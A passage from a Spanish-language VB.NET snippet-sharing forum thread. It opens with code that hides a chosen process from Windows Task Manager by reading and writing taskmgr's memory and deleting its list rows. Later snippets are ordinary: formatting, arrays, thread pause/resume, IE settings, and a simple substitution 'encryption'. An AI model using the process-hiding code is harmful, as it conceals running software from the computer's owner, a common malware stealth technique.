Private Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Integer
<DllImport("user32.dll", CharSet:=CharSet.Auto)> _
Private Sub GetClassName(ByVal hWnd As System.IntPtr, ByVal lpClassName As System.Text.StringBuilder, ByVal nMaxCount As Integer)
End Sub
#End Region
#Region " Variables "
''' <summary>
''' The processses to hide from TaskManager.
''' Caution: The process name is Case-Sensitive.
''' </summary>
Public Processes_Names() As String = {Process.GetCurrentProcess.ProcessName} ' The current process.
''' <summary>
''' The interval time in ms to hide the process from TaskManager.
''' Values greater than "5" can cause bad visual effects in TaskManager processes list.
''' </summary>
Public Hide_Interval As Int32 = 3 ' ms
''' <summary>
''' The known Window Titles for Task Manager process.
''' This is necessary to work properly in all languages.
''' Add here your own Task Manager Window Tittle if is not inside.
''' Default support: Spanish, English, Deutsch
''' </summary>
Public Task_Manager_Window_Titles() As String = { _
"Administrador de tareas de Windows", _
"Windows Task Manager", _
"Windows Task-Manager", _
}
''' <summary>
''' Gets the next process in the Processes_Names array to hide it.
''' Don't touch this.
''' </summary>
Public MyProc As String
Dim t As New Timer
Dim hwnd As IntPtr
Dim controls As String
Dim ProcLV As IntPtr = IntPtr.Zero
Private Const LVM_FIRST = &H1000
Private Const LVM_DELETECOLUMN = LVM_FIRST + 28
Private Const LVM_GETITEMCOUNT = (LVM_FIRST + 4)
Private Const LVM_SORTITEMS = (LVM_FIRST + 48)
Private Const LVM_DELETEITEM = (LVM_FIRST + 8)
Private Const LVM_GETNEXTITEM = (LVM_FIRST + 12)
Private Const LVM_GETITEM = (LVM_FIRST + 75)
#End Region
#Region " Properties "
''' <summary>
''' Turns ON/OFF the process hiding.
''' </summary>
Public Property Running() As Boolean
Get
If t.Enabled = True Then
Return True
Else
Return False
End If
End Get
Set(ByVal value As Boolean)
If value = True Then
If Processes_Names.Length = 0 Then Throw New Exception("Processes_Names Array is empty.")
If Hide_Interval <= 0 Then Throw New Exception("Hide_Interval value is too low, minimum value: 1")
MyProc = Processes_Names(0)
If Not t.Interval = Hide_Interval Then
With t
AddHandler t.Tick, AddressOf t_Tick
.Interval = Hide_Interval
.Enabled = True
.Start()
End With
Else
t.Enabled = True
t.Start()
End If
Else
t.Enabled = False
t.Stop()
ProcLV = IntPtr.Zero
End If
End Set
End Property
#End Region
#Region " Timer Tick event "
Private Sub t_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
If ProcLV = IntPtr.Zero Then
For Each Title In Task_Manager_Window_Titles
hwnd = FindWindow(vbNullString, Title)
If hwnd <> 0 Then
EnumChildWindows(hwnd, New EnumDelegate(AddressOf Hide_Process_From_TaskManager.EnumChildWindows), 0)
End If
Next
Else
GetListView(hwnd, ProcLV)
End If
End Sub
#End Region
#Region " Functions "
' EnumChildWindows
Private Function EnumChildWindows(ByVal lngHwnd As IntPtr, ByVal lngLParam As Integer) As Integer
Dim strClassName As String = ObtenerClase(lngHwnd)
Dim strText As String = ObtenerTextoVentana(lngHwnd)
If InStr(strClassName, "SysListView32") Then
GetListView(hwnd, lngHwnd)
If InStr(strText, "Procesos") Then
ProcLV = lngHwnd
End If
End If
Dim Classes As String = lngHwnd.ToString & ", " & strClassName & ", " & strText
Return 1
End Function
' ObtenerClase
Private Function ObtenerClase(ByVal handle As IntPtr) As String
Dim strClassName As New System.Text.StringBuilder()
strClassName.Length = 255
GetClassName(handle, strClassName, strClassName.Length)
Return strClassName.ToString
End Function
' ObtenerTextoVentana
Private Function ObtenerTextoVentana(ByVal handle As IntPtr) As String
Dim titleText As New System.Text.StringBuilder()
titleText.Length = GetWindowTextLength(handle) + 1
GetWindowText(handle, titleText, titleText.Length)
Return titleText.ToString
End Function
#End Region
End Module
Module GetItems
#Region " API's "
' OpenProcess
<DllImport(kernel32, SetLastError:=True)> _
Private Function OpenProcess(ByVal dwDesiredAccess As UInteger, ByVal bInheritHandle As Boolean, ByVal dwProcessId As Integer) As SafeProcessHandle
End Function
' ReadProcessMemoryW
<DllImport(kernel32, EntryPoint:="ReadProcessMemory", SetLastError:=True, CharSet:=CharSet.Unicode)> _
Private Function ReadProcessMemoryW(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As StringBuilder, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
' ReadProcessMemory
<DllImport(kernel32, SetLastError:=True, CharSet:=CharSet.Ansi)> _
Private Function ReadProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As StringBuilder, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
' ReadProcessMemory
<DllImport(kernel32, SetLastError:=True)> _
Private Function ReadProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As LV_ITEM, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
' ReadProcessMemory
<DllImport(kernel32, SetLastError:=True)> _
Private Function ReadProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As HDITEM, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
' ReadProcessMemory
<DllImport(kernel32, SetLastError:=True)> _
Private Function ReadProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As IntPtr, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
' SendMessage
<DllImport(user32, SetLastError:=True)> _
Private Function SendMessage(ByVal hWnd As IntPtr, ByVal message As UInteger, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
End Function
' GetHeaderSendMessage
<DllImport(user32, SetLastError:=True, EntryPoint:="SendMessageA")> _
Private Function GetHeaderSendMessage(ByVal hWnd As IntPtr, ByVal message As UInteger, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
End Function
' SendMessage
<DllImport(user32, SetLastError:=True)> _
Private Function SendMessage(ByVal hWnd As IntPtr, ByVal message As UInteger, ByVal wParam As Integer, ByVal lParam As StringBuilder) As Integer
End Function
' SendMessage
<DllImport(user32, SetLastError:=True)> _
Private Function SendMessage(ByVal hWnd As IntPtr, ByVal message As UInteger, ByVal wParam As Integer, ByVal lParam As IntPtr) As Integer
End Function
' VirtualAllocEx
<DllImport(kernel32, SetLastError:=True)> _
Private Function VirtualAllocEx(ByVal hProcess As SafeProcessHandle, ByVal lpAddress As IntPtr, ByVal dwSize As Integer, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr
End Function
' VirtualFreeEx
<DllImport(kernel32, SetLastError:=True)> _
Private Function VirtualFreeEx(ByVal hProcess As SafeProcessHandle, ByVal lpAddress As IntPtr, ByVal dwSize As Integer, ByVal dwFreeType As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
' WriteProcessMemory
<DllImport(kernel32, SetLastError:=True)> _
Private Function WriteProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As LV_ITEM, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
' WriteProcessMemory
<DllImport(kernel32, SetLastError:=True)> _
Private Function WriteProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As HDITEM, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
#End Region
#Region " Variables "
Dim listViewHandle As IntPtr
Public Const LVM_FIRST As UInteger = &H1000
Public Const LVM_DELETEITEM As UInteger = (LVM_FIRST + 8)
Public Const kernel32 As String = "kernel32"
Public Const user32 As String = "user32"
Public Const LVM_GETITEMCOUNT As UInteger = &H1004
Public Const LVM_GETITEMTEXT As UInteger = &H102D
Public Const LVM_GETHEADER As UInteger = &H101F
Public Const HDM_GETIEMA As UInteger = &H1203
Public Const HDM_GETITEMW As UInteger = &H120B
Public Const HDM_GETITEMCOUNT As UInteger = &H1200
Public Const HDM_GETUNICODEFORMAT As UInteger = &H2006
Public Const HDI_TEXT As UInteger = 2
Public Const MEM_COMMIT As UInteger = &H1000
Public Const MEM_RELEASE As UInteger = &H8000
Public Const PAGE_READWRITE As UInteger = 4
Public Const PROCESS_VM_READ As UInteger = &H10
Public Const PROCESS_VM_WRITE As UInteger = &H20
Public Const PROCESS_VM_OPERATION As UInteger = &H8
Public Const WM_GETTEXT As UInteger = &HD
Public Const WM_GETTEXTLENGTH As UInteger = &HE
#End Region
#Region " Structures "
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
Public Structure LV_ITEM
Public mask As UInteger
Public iItem As Integer
Public iSubItem As Integer
Public state As UInteger
Public stateMask As UInteger
Public pszText As IntPtr
Public cchTextMax As Integer
Public iImage As Integer
Public lParam As IntPtr
Public iIndent As Integer
Public iGroupId As Integer
Public cColumns As Integer
Public puColumns As IntPtr
Public piColFmt As IntPtr
Public iGroup As Integer
Public Function Size() As Integer
Return Marshal.SizeOf(Me)
End Function
End Structure
<StructLayout(LayoutKind.Sequential)> _
Public Structure HDITEM
Public mask As UInteger
Public cxy As Integer
Public pszText As IntPtr
Public hbm As IntPtr
Public cchTextMax As Integer
Public fmt As Integer
Public lParam As IntPtr
Public iImage As Integer
Public iOrder As Integer
Public Function Size() As Integer
Return Marshal.SizeOf(Me)
End Function
End Structure
#End Region
#Region " Functions "
Public Function GetListView(ByVal handle As IntPtr, ByVal lvhandle As IntPtr) As Boolean
listViewHandle = lvhandle
Dim hParent As IntPtr = handle
Dim id As Integer = -1
Try
For Each p In Process.GetProcessesByName("taskmgr")
id = p.Id
Next
If id = -1 Then
Throw New ArgumentException("Can't find process", "processName")
End If
Catch : Return False : End Try
Dim hprocess As SafeProcessHandle = Nothing
Try
hprocess = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, id)
If hprocess Is Nothing Then
If Marshal.GetLastWin32Error = 0 Then
Throw New System.ComponentModel.Win32Exception
End If
End If
Dim itemCount As Integer = SendMessage(listViewHandle, LVM_GETITEMCOUNT, IntPtr.Zero, IntPtr.Zero)
For row As Integer = 0 To itemCount - 1
Dim lvi As New ListViewItem(GetItem(row, 0, hprocess))
For Each processname In Processes_Names
MyProc = processname
If lvi.Text.Contains(Hide_Process_From_TaskManager.MyProc) Then SendMessage(listViewHandle, LVM_DELETEITEM, row, IntPtr.Zero)
Next
Next
Catch : Return False
Finally
If hprocess IsNot Nothing Then
hprocess.Close()
hprocess.Dispose()
End If
End Try
Return True
End Function
Public Function GetItem(ByVal row As Integer, ByVal subitem As Integer, _
ByVal hProcess As SafeProcessHandle) As String
Dim lvitem As New LV_ITEM
lvitem.cchTextMax = 260
lvitem.mask = 1
lvitem.iItem = row
lvitem.iSubItem = subitem
Dim pString As IntPtr
Dim s As New StringBuilder(260)
Try
pString = VirtualAllocEx(hProcess, IntPtr.Zero, 260, MEM_COMMIT, PAGE_READWRITE)
lvitem.pszText = pString
Dim pLvItem As IntPtr
Try
pLvItem = VirtualAllocEx(hProcess, IntPtr.Zero, lvitem.Size, MEM_COMMIT, PAGE_READWRITE)
Dim boolResult As Boolean = WriteProcessMemory(hProcess, pLvItem, lvitem, lvitem.Size, 0)
If boolResult = False Then Throw New Win32Exception
SendMessage(listViewHandle, LVM_GETITEMTEXT, row, pLvItem)
boolResult = ReadProcessMemory(hProcess, pString, s, 260, 0)
If boolResult = False Then Throw New Win32Exception
boolResult = ReadProcessMemory(hProcess, pLvItem, lvitem, Marshal.SizeOf(lvitem), 0)
If boolResult = False Then Throw New Win32Exception
Finally
If pLvItem.Equals(IntPtr.Zero) = False Then
Dim freeResult As Boolean = VirtualFreeEx(hProcess, pLvItem, 0, MEM_RELEASE)
If freeResult = False Then Throw New Win32Exception
End If
End Try
Finally
If pString.Equals(IntPtr.Zero) = False Then
Dim freeResult As Boolean = VirtualFreeEx(hProcess, pString, 0, MEM_RELEASE)
If freeResult = False Then Throw New Win32Exception
End If
End Try
Return s.ToString
End Function
Friend NotInheritable Class SafeProcessHandle : Inherits SafeHandleZeroOrMinusOneIsInvalid
Declare Auto Function CloseHandle Lib "kernel32.dll" (ByVal hObject As IntPtr) As Boolean
Public Sub New()
MyBase.New(True)
End Sub
Public Sub New(ByVal handle As IntPtr)
MyBase.New(True)
MyBase.SetHandle(handle)
End Sub
Protected Overrides Function ReleaseHandle() As Boolean
Return CloseHandle(MyBase.handle)
End Function
End Class
#End Region
End Module
#End Region
#End Region
Y porque el autor es anónimo? :x
Cita de: Ikillnukes en 6 Junio 2013, 11:02 AMY porque el autor es anónimo? :x
Es anónimo xq me da la gana xD, vi el code del TMListViewDelete posteado por un "guiri" hace mucho tiempo (código que solo funcionaba en XP), lo cierto es que ví la Class en varios sitios buscando una manera de ocultar procesos en el TaskManager, pero no recuerdo el autor, y Kub0x no lo nombra en su code tampoco, así que...
anonymous!
Formatear un número:
#Region " Format Number "
' [ Format Number Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Format_Number(50000)) ' Result: 50.000
' MsgBox(Format_Number(-12345.33)) ' Result: -12.345,33
Private Function Format_Number(ByVal Number As Object) As String
Select Case Number.GetType()
Case GetType(Int16), GetType(Int32), GetType(Int64)
Return FormatNumber(Number, TriState.False)
Case Else
Return FormatNumber(Number, , TriState.False)
End Select
End Function
#End Region
Crear un textbox con una máscara de asteriscos (para introducir passwords):
TextBox1.Text = "Elektro" ' Set a random text.
TextBox1.PasswordChar = "*" ' The character to use in the mask.
TextBox1.MaxLength = 8 ' The maximum length of characters inside the textbox.
MsgBox(TextBox1.Text) ' Result: Elektro
Genera todas las combinaciones posibles de una serie de caracteres:
(Este código es ORO por su sencillez y eficacia):
#Region " Permute all combinations of characters"
' [ Permute Characters Function ]
'
' Examples :
' Dim Permutations As IEnumerable = Permute_Characters("abc", 2)
' For Each Permutation As IEnumerable(Of Char) In Permutations : RichTextBox1.Text &= vbNewLine & Permutation.ToArray : Next
Private Shared Function Permute_Characters(Of T)(list As IEnumerable(Of T), length As Integer) As IEnumerable(Of IEnumerable(Of T))
If length = 1 Then
Return list.[Select](Function(x) New T() {x})
Else
Return Permute_Characters(list, length - 1).SelectMany(Function(x) list, Function(t1, t2) t1.Concat(New T() {t2}))
End If
End Function
#End Region
Resultado:
aa
ab
ac
ba
bb
bc
ca
cb
cc
Ostia, ese es el code en el que te he ayudado? ;-)
No verdad, es el siguiente no?
Cita de: Ikillnukes en 7 Junio 2013, 07:39 AM
Ostia, ese es el code en el que te he ayudado? ;-)
No verdad, es el siguiente no?
¿En que parte del código ves algo elevado al cuadrado? xD
Me ayudaste a resolver un problema de una operación matemática en una aplicación donde yo usaba un code, el code o la aplicación es irelevante, pero si, te refieres al code de las combinaciones xD
Salu2
Modifica el modo de renderizado de IExplorer sobre una aplicación, es decir, el modo de renderizado para un "WebBrowser control"
#Region " Set IExplorer Rendering Mode "
' [ Set IExplorer Rendering Mode ]
'
' // By Elektro H@cker
'
' Examples :
' Set_IExplorer_Rendering_Mode(IExplorer_Renders.IE10)
' Set_IExplorer_Rendering_Mode(IExplorer_Renders.IE10_DOCTYPE, "Application.exe")
Public Enum IExplorer_Renders As Int16
IE10 = 10001 ' Internet Explorer 10. Webpages are displayed in IE10 Standards mode, regardless of the !DOCTYPE directive.
IE10_DOCTYPE = 10000 ' Internet Explorer 10. Webpages containing standards-based !DOCTYPE directives are displayed in IE10 Standards mode. Default value for Internet Explorer 10.
IE9 = 9999 ' Internet Explorer 9. Webpages are displayed in IE9 Standards mode, regardless of the !DOCTYPE directive.
IE9_DOCTYPE = 9000 ' Internet Explorer 9. Webpages containing standards-based !DOCTYPE directives are displayed in IE9 mode.
IE8 = 8888 ' Webpages are displayed in IE8 Standards mode, regardless of the !DOCTYPE directive.
IE8_DOCTYPE = 8000 ' Webpages containing standards-based !DOCTYPE directives are displayed in IE8 mode.
IE7 = 7000 ' Webpages containing standards-based !DOCTYPE directives are displayed in IE7 Standards mode.
End Enum
Private Sub Set_IExplorer_Rendering_Mode(ByVal IExplorer_Render As IExplorer_Renders, _
Optional ByVal Application_Name As String = Nothing)
If Application_Name Is Nothing Then Application_Name = Process.GetCurrentProcess().ProcessName & ".exe"
Try
My.Computer.Registry.SetValue( _
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION", _
Application_Name, IExplorer_Render, Microsoft.Win32.RegistryValueKind.DWord)
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub
#End Region
Bloquear popups en un webbrowser
Private Sub WebBrowser_NewWindow(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) _
Handles WebBrowser1.NewWindow
e.Cancel = True
End Sub
Bloquear iFrames en un webbrowser
Private Sub WebBrowser_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) _
Handles WebBrowser1.DocumentCompleted
For Each element As HtmlElement In CType(sender, WebBrowser).Document.GetElementsByTagName("iframe")
element.OuterHtml = String.Empty
Application.DoEvents()
Next
End Sub
Devuelve la versión instalada de InternetExplorer en el PC:
#Region " Get IExplorer Version "
' [ Get IExplorer Version Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Get_IExplorer_Version) ' Result: 8
' MsgBox(Get_IExplorer_Version(True)) ' Result: 8.00.7600.16385
Private Function Get_IExplorer_Version(Optional ByVal Long_Version As Boolean = False) As String
Try
If Long_Version Then
Return FileVersionInfo.GetVersionInfo(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\ieframe.dll").ProductVersion
Else
Return FileVersionInfo.GetVersionInfo(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\ieframe.dll").ProductVersion.Split(".").First
End If
Catch ex As Exception
MsgBox(ex.Message)
Return 0
End Try
End Function
#End Region
Ahora me pongo yo critico, y para que coño quiero saber la versión de mi IE? XD
Hombre, se me ocurren ideas tal como parchear algunos errores en los webbrowsers pero, es poca cosa... xD
Cita de: Ikillnukes en 7 Junio 2013, 21:40 PM
Ahora me pongo yo critico, y para que coño quiero saber la versión de mi IE? XD
Hombre, se me ocurren ideas tal como parchear algunos errores en los webbrowsers pero, es poca cosa... xD
La idea es conocer la versión de IExplorer
de otro PC que no sea el tuyo/mio para anticiparse a posibles errores, por ejemplo si te pagan por una aplicación y quieres usar el render de IE10 en un webbrowser pero ese PC tiene IE8 pues...cagada, no?
Un saludo!
Suspender o continuar un proceso externo:
[youtube=640,360]https://www.youtube.com/watch?v=43773s3tAoA&feature=youtu.be[/youtube]
(Corregido un pequeño bug de última hora en la función "resume-thread" al comprobar si existia el proceso en el diccionario.)
#Region " Pause-Resume Thread Class "
Public Class Process_Thread
' [ Pause-Resume Thread Functions ]
'
' // By Elektro H@cker
'
' Examples :
'
' Process_Thread.Pause_Thread("ffmpeg.exe") ' Pause ffmpeg.exe (with thread 0)
' Process_Thread.Resume_Thread("ffmpeg.exe") ' Resume ffmpeg.exe (with thread 0)
' Process_Thread.Pause_Thread("cmd.exe", , True) ' Pause all instances of cmd.exe (with thread 0)
' Process_Thread.Resume_Thread("cmd.exe", , True) ' Resume all instances of cmd.exe (with thread 0)
' Process_Thread.Pause_Thread("Process.exe", 2) ' Pause the thread 2 of "Process.exe"
' Process_Thread.Resume_Thread("Process.exe", 2) ' Resume the thread 2 of "Process.exe"
<System.Runtime.InteropServices.DllImport("kernel32.dll")> _
Private Shared Function OpenThread(ByVal dwDesiredAccess As Integer, ByVal bInheritHandle As Boolean, ByVal dwThreadId As UInt32) As IntPtr
End Function
<System.Runtime.InteropServices.DllImport("kernel32.dll")> _
Private Shared Function SuspendThread(hThread As IntPtr) As UInteger
End Function
<System.Runtime.InteropServices.DllImport("kernel32.dll")> _
Private Shared Function ResumeThread(hThread As IntPtr) As UInt32
End Function
<System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> _
Private Shared Function CloseHandle(ByVal hObject As IntPtr) As <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.Bool)> Boolean
End Function
''' <summary>
''' Dictionary to store the current paused threads.
''' </summary>
Public Shared Thread_Handle_Dictionary As New Dictionary(Of String, IntPtr)
#Region " Pause Thread "
''' <summary>
''' Function to pause a thread.
''' </summary>
'''
''' <param name="Process_Name">The name of the process, ex: cmd.exe</param>
''' <param name="Thread_Number">The thread to pause, ex: 0</param>
''' <param name="Recursive"> <value name="True">Pause the thread in all processes found recursively.</value></param>
''' <returns>True if the process is found; otherwise, False.</returns>
Public Shared Function Pause_Thread(ByRef Process_Name As String, _
Optional ByVal Thread_Number As Int32 = 0, _
Optional ByVal Recursive As Boolean = False) As Boolean
If Process_Name.ToLower.EndsWith(".exe") Then _
Process_Name = Process_Name.Substring(0, Process_Name.Length - 4)
Dim proc() As Process = Process.GetProcessesByName(Process_Name)
If Not proc.Length = 0 Then
If Recursive Then
For proc_num As Integer = 0 To proc.Length - 1
Try
Thread_Handle_Dictionary.Add(Process_Name.ToLower & Thread_Number.ToString & ";" & proc(proc_num).Handle.ToString, _
OpenThread(&H2, True, proc(proc_num).Threads(Thread_Number).Id))
SuspendThread(Thread_Handle_Dictionary.Item(Process_Name.ToLower & Thread_Number.ToString & ";" & proc(proc_num).Handle.ToString))
Application.DoEvents()
Catch ex As Exception
MsgBox(ex.Message) ' The handle already exist in the Dictionary.
Return False
End Try
Next
Else
Try
Thread_Handle_Dictionary.Add(Process_Name.ToLower & Thread_Number.ToString & ";" & proc(0).Handle.ToString, _
OpenThread(&H2, True, proc(0).Threads(Thread_Number).Id))
SuspendThread(Thread_Handle_Dictionary.Item(Process_Name.ToLower & Thread_Number.ToString & ";" & proc(0).Handle.ToString))
Catch ex As Exception
MsgBox(ex.Message) ' The handle already exist in the Dictionary.
Return False
End Try
End If
Else ' proc.Length = 0
Throw New Exception("Process """ & Process_Name & """ not found.")
Return False
End If
Return True
End Function
#End Region
#Region " Resume Thread "
''' <summary>
''' Function to resume a thread.
''' </summary>
'''
''' <param name="Process_Name">The name of the process, ex: cmd.exe</param>
''' <param name="Thread_Number">The thread to resume, ex: 0</param>
''' <param name="Recursive"> <value name="True">Resume the thread in all processes found recursively.</value></param>
''' <returns>True if the process is found; otherwise, False.</returns>
Public Shared Function Resume_Thread(ByRef Process_Name As String, _
Optional ByVal Thread_Number As Int32 = 0, _
Optional ByVal Recursive As Boolean = False) As Boolean
If Process_Name.ToLower.EndsWith(".exe") Then _
Process_Name = Process_Name.Substring(0, Process_Name.Length - 4)
Dim Process_Exist As Boolean = False ' To check if process exist in the dictionary.
Dim Temp_Dictionary As New Dictionary(Of String, IntPtr) ' Replic of the "Thread_Handle_Dictionary" dictionary.
For Each Process In Thread_Handle_Dictionary
If Process.Key.StartsWith(Process_Name.ToLower & Thread_Number.ToString) Then Process_Exist = True
Temp_Dictionary.Add(Process.Key, Process.Value)
Next
If Process_Exist Then
If Recursive Then
For Each Process In Temp_Dictionary
If Process.Key.ToLower.Contains(Process_Name.ToLower & Thread_Number.ToString) Then
ResumeThread(Process.Value)
CloseHandle(Process.Value)
Thread_Handle_Dictionary.Remove(Process.Key)
End If
Application.DoEvents()
Next
Else
For Each Process In Temp_Dictionary
If Process.Key.ToLower.Contains(Process_Name.ToLower & Thread_Number.ToString) Then
ResumeThread(Process.Value)
CloseHandle(Process.Value)
Thread_Handle_Dictionary.Remove(Process.Key)
Exit For
End If
Application.DoEvents()
Next
End If
Return True
Else
Throw New Exception("Process """ & Process_Name & """ with thread number """ & Thread_Number & """ not found.")
Return False
End If
End Function
#End Region
End Class
#End Region
Resalta en colores la sintaxis de un script.
(Lo convierte a código HTML)
http://colorcode.codeplex.com/releases/view/103657
(http://img69.imageshack.us/img69/6953/captura1bz.png)
#Region " [ColorCode] Color Code "
' [ColorCode] Color Code
'
' // By Elektro H@cker
'
' Instructions:
' 1. Add a reference to ColorCode.dll
'
' Examples:
' HtmlTextBox1.Text = Color_Code(IO.File.ReadAllText("c:\Code.vb"), ColorCode.Languages.VbDotNet)
' HtmlTextbox1.Text = Color_Code(IO.File.ReadAllText("c:\Code.cs"), ColorCode.Languages.CSharp)
Private Function Color_Code(ByVal Code As String, ByVal Language As ColorCode.ILanguage) As String
Return New ColorCode.CodeColorizer().Colorize(Code, Language)
End Function
#End Region
Randomizar el contenido de un Array de tipo String:
#Region " Randomize String Array "
' [ Randomize String Array Function ]
'
' Examples :
' Dim MyArray As Array = Randomize_String_Array({"a", "b", "c", "d", "e"}) ' Result: {"d", "a", "c", "e", "b"}
Dim Array_randomizer As New Random
Private Function Randomize_String_Array(ByVal array() As String) As Array
Return array.OrderBy(Function() Array_randomizer.Next).ToArray
End Function
#End Region
Randomizar el contenido de cualquier tipo de Array:
#Region " Randomize Array "
' [ Randomize Array ]
'
' Examples :
' Dim strarray() As String = {"a", "b", "3"}
' Dim IntArray As Array = {1, 2, 3}
' Randomize_Array(strarray)
' Randomize_Array(IntArray)
Dim Array_Randomizer As New Random
Public Sub Randomize_Array(ByVal array As Array)
For i As Int64 = array.Length To 1 Step -1
Dim j As Int64 = Array_Randomizer.Next(i)
Dim tmp As Object = array(j)
array(j) = array(i - 1)
array(i - 1) = tmp
Next
End Sub
#End Region
Une el contenido de un Array de cualquier tipo
(hace unos días posteé un código parecido, pero solo funcionaba para arrays de string)
#Region " Join Array "
' [ Join Array Function ]
'
' Examples :
'
' Dim StrArray() As String = {"a", "b", "c"} ' String array
' Dim IntArray As Array = {1, 2, 3} ' Integer array
' MsgBox(Join_Array(StrArray, " ")) ' Result: a b c
' MsgBox(Join_Array(IntArray, " ")) ' Result: 1 2 3
Private Function Join_Array(ByVal array As Array, ByVal Separator As String)
Return String.Join(Separator, array.Cast(Of Object).Select(Function(x) x.ToString))
End Function
#End Region
cifrar-descifrar un string de manera selectiva (usando los caracteres que nos de la gana, por eso el código es así de largo)
#Region " Encrypt-Decrypt String Selective "
' [ Encrypt-Decrypt String Selective Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Encrypt_Text("Hello world")) ' Result: à`336 L6ë3m
' MsgBox(Decrypt_Text("à`336 L6ë3m")) ' Result: Hello world
' MsgBox(Encrypt_Text("¡ Hello world !", True)) ' Result: = <ÁÍÍÀ cÀ,Í3 Ï
' MsgBox(Decrypt_Text("= <ÁÍÍÀ cÀ,Í3 Ï", True)) ' Result: ¡ Hello world !
Public Shared Function Encrypt_Text(ByVal str As String, _
Optional ByVal Include_Special_Characters As Boolean = False) As String
Dim Temp_String As String = String.Empty
Dim Replacement_Found As Boolean = False
Static Characters As Char()
Static Replacements As Char()
If Include_Special_Characters Then
Characters = "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙäëïöüÄËÏÖÜçǺª<>¡!¿?()[]{}/\|·.:;,-+=_~¬^'`´¨*$%&€#@""".ToCharArray
Replacements = {"h", "ó", "Ó", "3", "Á", "è", "A", "^", "ö", "~", "O", "Í", "€", "q", "ú", "À", "Ç", "È", ",", "ì", "i", "ï", "ò", "c", "0", "ñ", "4", "l", "Ü", "ª", "¬", "S", "&", "?", "<", ":", "T", "*", "e", ".", "R", "É", "D", "7", "9", "Ú", "n", "¿", "L", "m", "¨", "Ë", "]", "Ä", "Q", "w", "V", "'", "G", "K", "é", "v", "ù", "}", "P", "E", "X", "+", "í", "´", "$", "{", "_", "Ñ", "u", "ë", "H", "g", "d", "x", "8", "/", "ä", "#", "|", "-", "1", "M", "Ò", "o", ")", "N", "Y", "á", "Ù", "Ì", "%", "ç", """", "a", "=", "Ï", "z", "Ö", ">", ";", "2", "6", "B", "y", "b", "`", "s", "5", "t", "[", "(", "à", "ü", "!", "¡", "f", "W", "k", "r", "U", "J", "·", "Z", "F", "C", "º", "I", "@", "p", "j"}
Else
Characters = _
"abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙäëïöüÄËÏÖÜçǺª¡¿·¬`´¨€".ToCharArray
' Removed chars for better improvement in code encryptation: = & + - ^ " % ' < > ( ) { } . $ [ ] ; @ ! ? ~ : / \ | * # , _
Replacements = _
{"u", "Ñ", "T", "m", "`", "P", "Ç", "Z", "h", "x", "á", "3", "¬", "R", "ª", "6", "ò", "N", "ë", "Ì", "g", "ö", "I", "L", "a", "À", "·", "V", "5", "Ë", "Ù", "´", "Ö", "J", "à", "¡", "n", "4", "È", "j", "ç", "b", "c", "y", "E", "ù", "Ó", "f", "º", "Q", "q", "G", "e", "B", "0", "€", "9", "o", "ì", "O", "8", "¿", "r", "v", "ó", "2", "Ï", "1", "¨", "i", "Á", "D", "t", "Í", "k", "Ú", "C", "ñ", "Ä", "S", "A", "é", "7", "Ü", "K", "z", "í", "è", "Y", "ü", "F", "s", "p", "X", "U", "Ò", "l", "É", "ú", "d", "ï", "M", "W", "H", "ä", "w"}
